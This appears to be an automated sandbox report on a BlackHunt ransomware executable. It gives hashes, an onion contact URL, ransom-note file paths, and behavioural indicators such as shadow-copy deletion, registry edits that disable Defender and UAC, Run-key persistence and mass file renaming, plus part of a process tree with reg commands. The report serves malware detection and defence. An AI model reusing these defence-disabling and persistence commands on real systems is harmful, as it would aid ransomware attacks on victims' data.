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Analysis
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max time kernel
149s -
max time network
133s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
19/01/2024, 01:07
Static task
static1
Behavioral task
behavioral1
Sample
dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
Resource
win10v2004-20231215-en
General
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Target
dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
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Size
707KB
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MD5
c834fe4dadfebc2959ecd2a557e7f0aa
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SHA1
2fae86138214a529ab649f2ab588faac45295804
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SHA256
dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3
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SHA512
36e790589969543e2923415a2163f2863fbffc96d2994cd4e6cfc2fea2040cc942e12cb483203beb6e3bdc132b2cf1f85135661d6d98c808337bc62a154ae2f2
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1l8Ivnh:6uaTmkZJ+naie5OTamgEoKxLWY2h
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 1196 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 1524 bcdedit.exe 2904 bcdedit.exe -
Renames multiple (2890) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 1180 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\U: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\N: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\E: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\R: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\J: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\Z: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\V: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\M: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\O: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\P: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\A: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\B: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Q: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\W: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\T: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\Y: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\S: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\G: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\I: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\H: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\X: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\K: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened (read-only) \??\L: dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-previous-static.png dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\softedges.png dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\.lock dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\alert_obj.png dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.ui.nl_zh_4.4.0.v20140623020002.jar dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\modules\httprequests.luac dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.txt dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\#BlackHunt_Private.key dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\#BlackHunt_ReadMe.txt dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_es.jar dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\#BlackHunt_Private.key dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\art\#BlackHunt_Private.key dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files\VideoLAN\VLC\plugins\stream_filter\#BlackHunt_ReadMe.txt dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\DVD Maker\directshowtap.ax dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Blanc-Sablon dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files\Java\jre7\bin\server\#BlackHunt_Private.key dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files\VideoLAN\VLC\lua\#BlackHunt_ReadMe.txt dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\#BlackHunt_ReadMe.hta dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\#BlackHunt_ReadMe.txt dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\ParentMenuButtonIcon.png dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\jce.jar dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Hermosillo dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Prague dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\dtplugin\#BlackHunt_ReadMe.hta dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\#BlackHunt_ReadMe.hta dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ext_5.5.0.165303.jar dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files\VideoLAN\VLC\locale\is\#BlackHunt_Private.key dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\#BlackHunt_ReadMe.txt dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Qatar dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\com.jrockit.mc.rcp.product_root_5.5.0.165303 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\index.html dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Johannesburg dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Dhaka dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-nodes.xml dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\offset_window.html dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\win32\jawt_md.h dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Adak dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\#BlackHunt_Private.key dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net_1.2.200.v20140124-2013.jar dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.ds_1.4.200.v20131126-2331.jar dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ql.nl_ja_4.4.0.v20140623020002.jar dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Thunder_Bay dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files\VideoLAN\VLC\locale\nb\#BlackHunt_ReadMe.txt dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\#BlackHunt_ReadMe.txt dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.nl_ja_4.4.0.v20140623020002.jar dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\#BlackHunt_Private.key dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_preferencestyle.css dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files\VideoLAN\VLC\locale\hy\#BlackHunt_Private.key dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_travel_Thumbnail.bmp dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Hong_Kong dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Port_Moresby dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\#BlackHunt_ReadMe.txt dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Wallis dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\#BlackHunt_ReadMe.txt dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-io_ja.jar dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files\VideoLAN\VLC\locale\el\#BlackHunt_ReadMe.txt dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToNotesBackground_PAL.wmv dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Almaty dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.nl_zh_4.4.0.v20140623020002.jar dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Chicago dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File created C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_Private.key dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\vlc.mo dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 616 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2408 vssadmin.exe 608 vssadmin.exe 2012 vssadmin.exe 2420 vssadmin.exe 948 vssadmin.exe -
Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe Token: SeRestorePrivilege 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe Token: SeBackupPrivilege 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe Token: SeTakeOwnershipPrivilege 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe Token: SeAuditPrivilege 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe Token: SeSecurityPrivilege 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe Token: SeIncBasePriorityPrivilege 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe Token: SeBackupPrivilege 1580 vssvc.exe Token: SeRestorePrivilege 1580 vssvc.exe Token: SeAuditPrivilege 1580 vssvc.exe Token: SeBackupPrivilege 896 wbengine.exe Token: SeRestorePrivilege 896 wbengine.exe Token: SeSecurityPrivilege 896 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2256 wrote to memory of 2776 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 28 PID 2256 wrote to memory of 2776 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 28 PID 2256 wrote to memory of 2776 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 28 PID 2256 wrote to memory of 2776 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 28 PID 2256 wrote to memory of 2792 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 30 PID 2256 wrote to memory of 2792 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 30 PID 2256 wrote to memory of 2792 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 30 PID 2256 wrote to memory of 2792 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 30 PID 2256 wrote to memory of 2836 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 32 PID 2256 wrote to memory of 2836 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 32 PID 2256 wrote to memory of 2836 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 32 PID 2256 wrote to memory of 2836 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 32 PID 2256 wrote to memory of 2700 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 35 PID 2256 wrote to memory of 2700 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 35 PID 2256 wrote to memory of 2700 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 35 PID 2256 wrote to memory of 2700 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 35 PID 2256 wrote to memory of 2768 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 36 PID 2256 wrote to memory of 2768 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 36 PID 2256 wrote to memory of 2768 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 36 PID 2256 wrote to memory of 2768 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 36 PID 2256 wrote to memory of 2752 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 37 PID 2256 wrote to memory of 2752 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 37 PID 2256 wrote to memory of 2752 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 37 PID 2256 wrote to memory of 2752 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 37 PID 2256 wrote to memory of 2888 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 39 PID 2256 wrote to memory of 2888 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 39 PID 2256 wrote to memory of 2888 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 39 PID 2256 wrote to memory of 2888 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 39 PID 2256 wrote to memory of 2428 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 41 PID 2256 wrote to memory of 2428 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 41 PID 2256 wrote to memory of 2428 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 41 PID 2256 wrote to memory of 2428 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 41 PID 2256 wrote to memory of 2824 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 43 PID 2256 wrote to memory of 2824 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 43 PID 2256 wrote to memory of 2824 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 43 PID 2256 wrote to memory of 2824 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 43 PID 2256 wrote to memory of 2828 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 45 PID 2256 wrote to memory of 2828 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 45 PID 2256 wrote to memory of 2828 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 45 PID 2256 wrote to memory of 2828 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 45 PID 2836 wrote to memory of 2744 2836 cmd.exe 47 PID 2836 wrote to memory of 2744 2836 cmd.exe 47 PID 2836 wrote to memory of 2744 2836 cmd.exe 47 PID 2776 wrote to memory of 2540 2776 cmd.exe 49 PID 2776 wrote to memory of 2540 2776 cmd.exe 49 PID 2776 wrote to memory of 2540 2776 cmd.exe 49 PID 2256 wrote to memory of 2616 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 50 PID 2256 wrote to memory of 2616 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 50 PID 2256 wrote to memory of 2616 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 50 PID 2256 wrote to memory of 2616 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 50 PID 2256 wrote to memory of 2688 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 51 PID 2256 wrote to memory of 2688 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 51 PID 2256 wrote to memory of 2688 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 51 PID 2256 wrote to memory of 2688 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 51 PID 2256 wrote to memory of 2584 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 53 PID 2256 wrote to memory of 2584 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 53 PID 2256 wrote to memory of 2584 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 53 PID 2256 wrote to memory of 2584 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 53 PID 2256 wrote to memory of 2592 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 54 PID 2256 wrote to memory of 2592 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 54 PID 2256 wrote to memory of 2592 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 54 PID 2256 wrote to memory of 2592 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 54 PID 2256 wrote to memory of 2064 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 56 PID 2256 wrote to memory of 2064 2256 dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe 56 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe"C:\Users\Admin\AppData\Local\Temp\dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2256 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2540
